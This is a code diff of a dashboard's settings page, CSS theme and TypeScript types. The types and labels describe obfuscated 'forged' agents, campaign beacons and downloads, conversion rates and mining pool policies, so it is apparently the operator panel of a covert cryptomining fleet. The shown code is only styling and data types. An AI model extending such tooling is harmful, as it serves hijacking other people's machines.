id="cfg-public-latest-n"
type="number"
className="input"
min={1}
max={50}
value={s.public_builds_latest_n ?? 3}
onChange={(e) => updateField('server.public_builds_latest_n', parseInt(e.target.value, 10) || 3)}
/>
<span className="form-hint">
When all-builds mode is off, login drawer lists pinned + explicitly public builds + this many recent forges.
</span>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Forge Pipeline</h2>
<p className="section-desc">Defaults for obfuscation and code signing applied when forging on this control PC.</p>
<div className="form-group checkbox-group">
@@ -972,7 +1054,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<NeonCard accent="green" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Data & Limits</h2>
<p className="section-desc">Retention and capacity for this host.</p>
<div className="form-row">
@@ -1006,7 +1088,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<NeonCard accent="brass" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Server Logging</h2>
<p className="section-desc">What this control server writes to its log.</p>
<div className="form-group checkbox-group">
@@ -1032,7 +1114,7 @@ export default function SettingsPage() {
</div>
</NeonCard>
<NeonCard accent="magenta" className="settings-section">
<NeonCard accent="magenta" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Access Control</h2>
<p className="section-desc">
API routes require login. On first server start, credentials are printed once in the server console (<code>admin</code> + random password). Save a session below so the dashboard can call the API (WebSocket live feed does not need this).
@@ -1078,7 +1160,9 @@ export default function SettingsPage() {
)}
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<FleetRuntimePanel />
<NeonCard accent="amber" className="settings-section operator-deck-card operator-interactive">
<h2 className="font-display">Fleet Security</h2>
<p className="section-desc">
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.

View File

@@ -0,0 +1,414 @@
/* ═══ Unified Operator Deck — shared instrument chrome ═══ */
:root {
/* Card chrome */
--deck-card-bg: linear-gradient(145deg, rgba(14, 12, 20, 0.94) 0%, rgba(6, 6, 12, 0.98) 100%);
--deck-card-border: rgba(140, 120, 60, 0.28);
--deck-card-radius: 6px;
--deck-card-padding: 1.25rem;
--deck-card-shadow: 0 10px 36px rgba(0, 0, 0, 0.72), 0 0 1px rgba(80, 60, 140, 0.25);
--deck-card-glow: rgba(0, 232, 245, 0.12);
--deck-card-accent-bar: var(--neon-cyan, #00e8f5);
/* Section accent (default command deck) */
--deck-accent: var(--neon-cyan, #00e8f5);
--deck-accent-secondary: var(--brass-light, #c4ad5a);
--deck-accent-dim: rgba(0, 232, 245, 0.35);
--deck-accent-glow: rgba(0, 232, 245, 0.45);
--deck-accent-bg: rgba(0, 232, 245, 0.06);
/* Persistent 4px left accent rail */
--deck-accent-rail: var(--neon-cyan, #00e8f5);
--deck-accent-rail-glow: rgba(0, 232, 245, 0.48);
/* Interactive bounding box */
--deck-interactive-outline: var(--deck-accent-dim);
--deck-interactive-glow: var(--deck-accent-glow);
--deck-interactive-radius: var(--deck-card-radius);
--deck-interactive-dash: 8px;
--deck-interactive-lift: -1px;
--deck-interactive-btn-scale: 1.018;
/* Ambient music UI (Layout sets data-operator-deck) */
--deck-ambient-ui-opacity: 0.72;
}
/* ── Per-section accent tokens ── */
[data-operator-deck='dashboard'] {
--deck-accent: var(--neon-cyan, #00e8f5);
--deck-accent-secondary: var(--brass-light, #c4ad5a);
--deck-accent-dim: rgba(0, 232, 245, 0.38);
--deck-accent-glow: rgba(0, 232, 245, 0.5);
--deck-accent-bg: rgba(0, 232, 245, 0.07);
--deck-card-accent-bar: var(--neon-cyan);
--deck-accent-rail: var(--neon-cyan, #00e8f5);
--deck-accent-rail-glow: rgba(0, 232, 245, 0.5);
--deck-ambient-ui-opacity: 0.68;
}
[data-operator-deck='fleet'] {
--deck-accent: var(--neon-cyan, #00e8f5);
--deck-accent-secondary: var(--neon-green, #2ee810);
--deck-accent-dim: rgba(0, 232, 245, 0.34);
--deck-accent-glow: rgba(0, 232, 245, 0.42);
--deck-accent-bg: rgba(0, 232, 245, 0.05);
--deck-card-accent-bar: var(--neon-cyan);
--deck-accent-rail: var(--neon-green, #2ee810);
--deck-accent-rail-glow: rgba(46, 232, 16, 0.46);
--deck-ambient-ui-opacity: 0.7;
}
[data-operator-deck='crucible'] {
--deck-accent: #c9a227;
--deck-accent-secondary: #e85d4a;
--deck-accent-dim: rgba(201, 162, 39, 0.42);
--deck-accent-glow: rgba(232, 93, 74, 0.48);
--deck-accent-bg: rgba(180, 50, 30, 0.08);
--deck-card-accent-bar: #c9a227;
--deck-accent-rail: #c9a227;
--deck-accent-rail-glow: rgba(201, 162, 39, 0.52);
--deck-ambient-ui-opacity: 0.75;
}
[data-operator-deck='forge'] {
--deck-accent: var(--neon-amber, #e89830);
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
--deck-accent-dim: rgba(232, 152, 48, 0.42);
--deck-accent-glow: rgba(255, 180, 60, 0.55);
--deck-accent-bg: rgba(232, 152, 48, 0.08);
--deck-card-accent-bar: var(--neon-amber);
--deck-accent-rail: var(--neon-cyan, #00e8f5);
--deck-accent-rail-glow: rgba(0, 232, 245, 0.5);
--deck-ambient-ui-opacity: 1;
}
[data-operator-deck='mission-deck'] {
--deck-accent: #ff8c3a;
--deck-accent-secondary: #ffd700;
--deck-accent-dim: rgba(255, 140, 58, 0.42);
--deck-accent-glow: rgba(255, 140, 58, 0.55);
--deck-accent-bg: rgba(255, 140, 58, 0.08);
--deck-card-accent-bar: #ff8c3a;
--deck-accent-rail: #a78bfa;
--deck-accent-rail-glow: rgba(167, 139, 250, 0.52);
--deck-ambient-ui-opacity: 0.95;
}
[data-operator-deck='builds'] {
--deck-accent: var(--brass-light, #c4ad5a);
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
--deck-accent-dim: rgba(201, 162, 39, 0.38);
--deck-accent-glow: rgba(201, 162, 39, 0.45);
--deck-accent-bg: rgba(201, 162, 39, 0.07);
--deck-card-accent-bar: var(--brass-light);
--deck-accent-rail: var(--brass-light, #c4ad5a);
--deck-accent-rail-glow: rgba(196, 173, 90, 0.48);
--deck-ambient-ui-opacity: 0.55;
}
[data-operator-deck='emberwake'] {
--deck-accent: #f43f5e;
--deck-accent-secondary: #ff6b2c;
--deck-accent-dim: rgba(244, 63, 94, 0.4);
--deck-accent-glow: rgba(255, 107, 44, 0.5);
--deck-accent-bg: rgba(244, 63, 94, 0.07);
--deck-card-accent-bar: #ff6b2c;
--deck-accent-rail: #f43f5e;
--deck-accent-rail-glow: rgba(244, 63, 94, 0.5);
--deck-ambient-ui-opacity: 0.8;
}
[data-operator-deck='settings'] {
--deck-accent: var(--neon-purple, #a83ef0);
--deck-accent-secondary: var(--text-muted, #5e5868);
--deck-accent-dim: rgba(168, 62, 240, 0.28);
--deck-accent-glow: rgba(168, 62, 240, 0.32);
--deck-accent-bg: rgba(168, 62, 240, 0.05);
--deck-card-accent-bar: var(--neon-purple);
--deck-accent-rail: var(--neon-purple, #a83ef0);
--deck-accent-rail-glow: rgba(168, 62, 240, 0.42);
--deck-ambient-ui-opacity: 0.38;
}
[data-operator-deck='pathtracer'] {
--deck-accent: #6b8cff;
--deck-accent-secondary: var(--neon-cyan, #00e8f5);
--deck-accent-dim: rgba(107, 140, 255, 0.38);
--deck-accent-glow: rgba(107, 140, 255, 0.45);
--deck-accent-bg: rgba(70, 110, 220, 0.08);
--deck-card-accent-bar: #6b8cff;
--deck-accent-rail: #6b8cff;
--deck-accent-rail-glow: rgba(107, 140, 255, 0.48);
--deck-ambient-ui-opacity: 0.4;
}
/* Forge seasonal skins override deck accent when present on page root */
[class*='forge-skin--'] {
--deck-accent: var(--forge-accent, var(--neon-amber));
--deck-accent-secondary: var(--forge-accent-secondary, var(--neon-cyan));
--deck-accent-dim: var(--forge-accent-dim, rgba(232, 152, 48, 0.42));
--deck-accent-glow: var(--forge-glow, rgba(255, 180, 60, 0.55));
--deck-accent-bg: var(--forge-accent-bg, rgba(232, 152, 48, 0.08));
--deck-card-accent-bar: var(--forge-accent, var(--neon-amber));
--deck-accent-rail: var(--neon-cyan, #00e8f5);
--deck-accent-rail-glow: rgba(0, 232, 245, 0.5);
}
/* ── Section accent rail (4px persistent left edge) ── */
[data-operator-deck] .main-content {
position: relative;
}
[data-operator-deck] .main-content:not(:has(.operator-deck-page))::before,
.operator-deck-page::before {
content: '';
position: absolute;
top: 0;
left: 0;
bottom: 0;
width: 4px;
background: var(--deck-accent-rail, var(--deck-accent));
box-shadow: 0 0 18px var(--deck-accent-rail-glow, var(--deck-accent-glow));
pointer-events: none;
z-index: 3;
}
.operator-deck-page {
position: relative;
}
/* ── Page shell ── */
.operator-deck-page .deck-hero::after {
background: linear-gradient(90deg, var(--deck-accent), transparent);
box-shadow: 0 0 12px var(--deck-accent-glow);
}
.operator-deck-page .deck-eyebrow {
color: var(--deck-accent-secondary, var(--deck-accent));
}
/* ── Card chrome (layers on .card / .neon-card — does not replace page styles) ── */
.operator-deck-card {
position: relative;
border-radius: var(--deck-card-radius);
box-shadow:
var(--deck-card-shadow),
0 0 28px -14px var(--deck-card-glow);
transition:
border-color 0.22s ease,
box-shadow 0.28s ease;
}
.card.operator-deck-card,
.neon-card.operator-deck-card {
border-color: color-mix(in srgb, var(--deck-card-border) 75%, var(--deck-accent-dim));
}
.operator-deck-card::after {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 2px;
border-radius: var(--deck-card-radius) var(--deck-card-radius) 0 0;
background: linear-gradient(90deg, var(--deck-card-accent-bar), transparent 72%);
opacity: 0.65;
pointer-events: none;
z-index: 1;
}
.operator-deck-card:hover {
border-color: color-mix(in srgb, var(--deck-card-border) 55%, var(--deck-accent));
box-shadow:
var(--deck-card-shadow),
0 0 32px -10px var(--deck-accent-glow);
}
/* Emberwake spread sections — deck chrome without losing section accents */
.emberwake-page .spread-section.operator-deck-card {
padding: var(--deck-card-padding);
border-radius: var(--deck-card-radius);
box-shadow:
var(--deck-card-shadow),
0 0 24px -12px var(--deck-accent-glow);
}
.emberwake-page .spread-section--ember.operator-deck-card { --deck-card-accent-bar: #ff6b2c; }
.emberwake-page .spread-section--cyan.operator-deck-card { --deck-card-accent-bar: #3dd6c6; }
.emberwake-page .spread-section--gold.operator-deck-card { --deck-card-accent-bar: #c9a227; }
.emberwake-page .spread-section--violet.operator-deck-card { --deck-card-accent-bar: #a78bfa; }
.emberwake-page .spread-section--war-room.operator-deck-card { --deck-card-accent-bar: #f43f5e; }
/* Builder form sections */
.builder-form .form-section.operator-deck-card {
padding: var(--deck-card-padding);
border-radius: var(--deck-card-radius);
}
/* ── Interactive bounding boxes (focus / hover outlines) ── */
@keyframes operator-interactive-dash-march {
to {
background-position:
var(--deck-interactive-dash) 0,
calc(-1 * var(--deck-interactive-dash)) 100%,
0 var(--deck-interactive-dash),
100% calc(-1 * var(--deck-interactive-dash));
}
}
.operator-interactive {
position: relative;
transition:
transform 0.22s cubic-bezier(0.23, 1, 0.32, 1),
box-shadow 0.22s ease,
outline-color 0.22s ease;
outline: 1px solid transparent;
outline-offset: 2px;
}
/* Animated dashed ring — enhancement layer via ::before (does not replace outline) */
.operator-interactive::before {
content: '';
position: absolute;
inset: -2px;
border-radius: calc(var(--deck-interactive-radius) + 2px);
pointer-events: none;
z-index: 4;
opacity: 0;
background:
linear-gradient(90deg, var(--deck-interactive-outline) 50%, transparent 50%) 0 0 / var(--deck-interactive-dash) 1px repeat-x,
linear-gradient(90deg, var(--deck-interactive-outline) 50%, transparent 50%) 0 100% / var(--deck-interactive-dash) 1px repeat-x,
linear-gradient(0deg, var(--deck-interactive-outline) 50%, transparent 50%) 0 0 / 1px var(--deck-interactive-dash) repeat-y,
linear-gradient(0deg, var(--deck-interactive-outline) 50%, transparent 50%) 100% 0 / 1px var(--deck-interactive-dash) repeat-y;
transition: opacity 0.22s ease;
}
.operator-interactive:hover,
.operator-interactive:focus-within {
outline-color: var(--deck-interactive-outline);
box-shadow:
0 0 0 1px var(--deck-interactive-outline),
0 0 20px -6px var(--deck-interactive-glow);
}
.operator-interactive:hover::before,
.operator-interactive:focus-within::before {
opacity: 1;
animation: operator-interactive-dash-march 0.75s linear infinite;
}
.operator-interactive:focus-within {
outline-color: var(--deck-accent);
box-shadow:
0 0 0 1px var(--deck-accent-dim),
0 0 22px -4px var(--deck-interactive-glow);
}
.operator-interactive:focus-visible {
outline: 2px solid var(--deck-accent);
outline-offset: 3px;
}
/* Micro-lift — flat panels only; 3D neon cards keep their own tilt transform */
.operator-interactive:not(.neon-card-3d):hover,
.operator-interactive:not(.neon-card-3d):focus-within {
transform: translateY(var(--deck-interactive-lift));
}
.neon-card-3d.operator-interactive:hover,
.neon-card-3d.operator-interactive:focus-within {
transform: perspective(var(--perspective, 900px)) rotateX(2deg) translateY(calc(var(--deck-interactive-lift) - 3px));
}
/* Crucible node cards — lighter outline + compact lift */
.crucible-node-card.operator-interactive:hover:not(.selected),
.crucible-node-card.operator-interactive:focus-within:not(.selected) {
outline-color: var(--deck-interactive-outline);
transform: translateY(var(--deck-interactive-lift)) scale(1.008);
}
/* Tactile button scale within operator decks */
.operator-interactive-btn,
.operator-deck-page .btn:not(:disabled),
.operator-deck-page button:not(:disabled):not([role='switch']) {
transition:
transform 0.16s cubic-bezier(0.23, 1, 0.32, 1),
box-shadow 0.16s ease,
border-color 0.16s ease,
background 0.16s ease,
color 0.16s ease,
opacity 0.16s ease;
}
.operator-interactive-btn:hover:not(:disabled),
.operator-interactive-btn:focus-visible:not(:disabled),
.operator-deck-page .btn:not(:disabled):hover,
.operator-deck-page .btn:not(:disabled):focus-visible,
.operator-deck-page button:not(:disabled):not([role='switch']):hover,
.operator-deck-page button:not(:disabled):not([role='switch']):focus-visible {
transform: scale(var(--deck-interactive-btn-scale));
}
.operator-interactive-btn:active:not(:disabled),
.operator-deck-page .btn:not(:disabled):active,
.operator-deck-page button:not(:disabled):not([role='switch']):active {
transform: scale(0.985);
}
/* Nested step panels inside fleet / forge wizards */
.fleet-policy-step-panel.operator-interactive,
.forge-mission-wizard .forge-mission-step-panel.operator-interactive {
border-radius: var(--deck-interactive-radius);
padding: 0.85rem 1rem;
margin-top: 0.5rem;
}
/* Global music player — section-aware ambient UI intensity */
.global-music-player {
opacity: var(--deck-ambient-ui-opacity);
border-color: color-mix(in srgb, var(--deck-card-border) 60%, var(--deck-accent-dim));
}
.global-music-player:hover,
.global-music-player:focus-within {
opacity: 1;
border-color: color-mix(in srgb, var(--deck-accent-dim) 80%, var(--deck-accent));
box-shadow:
0 6px 22px rgba(0, 0, 0, 0.6),
0 0 16px var(--deck-accent-glow);
}
.global-music-player--ambient-dim {
opacity: calc(var(--deck-ambient-ui-opacity) * 0.85);
}
@media (prefers-reduced-motion: reduce) {
.operator-deck-card,
.operator-interactive,
.operator-interactive-btn,
.global-music-player {
transition: none;
}
.operator-interactive::before {
animation: none !important;
}
.operator-interactive:not(.neon-card-3d):hover,
.operator-interactive:not(.neon-card-3d):focus-within,
.crucible-node-card.operator-interactive:hover:not(.selected),
.neon-card-3d.operator-interactive:hover,
.neon-card-3d.operator-interactive:focus-within {
transform: none;
}
.operator-interactive-btn:hover:not(:disabled),
.operator-interactive-btn:active:not(:disabled),
.operator-deck-page .btn:not(:disabled):hover,
.operator-deck-page .btn:not(:disabled):active,
.operator-deck-page button:not(:disabled):hover,
.operator-deck-page button:not(:disabled):active {
transform: none;
}
}

View File

@@ -185,6 +185,27 @@ export interface CampaignHitSummary {
last_hit: string;
}
export interface WarRoomCampaign {
campaign: string;
hits: number;
downloads: number;
first_beacon?: number;
mining?: number;
agents: number;
online: number;
hashrate: number;
conversion_pct: number;
daily_hits: number[];
last_activity?: string;
pins?: string[];
}
export interface WarRoomResponse {
generated_at: string;
days: number;
campaigns: WarRoomCampaign[];
}
export interface EmberwakeNotes {
content: string;
updated_at: string;
@@ -545,6 +566,18 @@ export interface AuditEntry {
detail?: Record<string, unknown>;
}
export interface FleetModuleManifest {
name: string;
version: string;
display_name?: string;
summary?: string;
description?: string;
accent?: 'magenta' | 'cyan' | 'gold' | 'ember' | 'violet' | string;
capabilities?: string[];
features?: Record<string, boolean>;
signature?: string;
}
export interface FleetTask {
id?: string;
name: string;

View File

@@ -76,6 +76,17 @@ export interface WSServerLog {
line: string;
}
export interface WSPolicyAck {
push_id?: string;
agent_id?: string;
mining_mode?: string;
max_cpu_usage_pct?: number;
schedule_start?: string;
schedule_end?: string;
pool_host?: string;
pool_port?: number;
}
export type WSPayload =
| WSDashboardInit
| Agent
@@ -86,6 +97,7 @@ export type WSPayload =
| import('../types').PoolStatus[]
| import('../types').AIActivityEntry
| WSCommandResult
| WSPolicyAck
| WSAgentLog
| WSServerLog;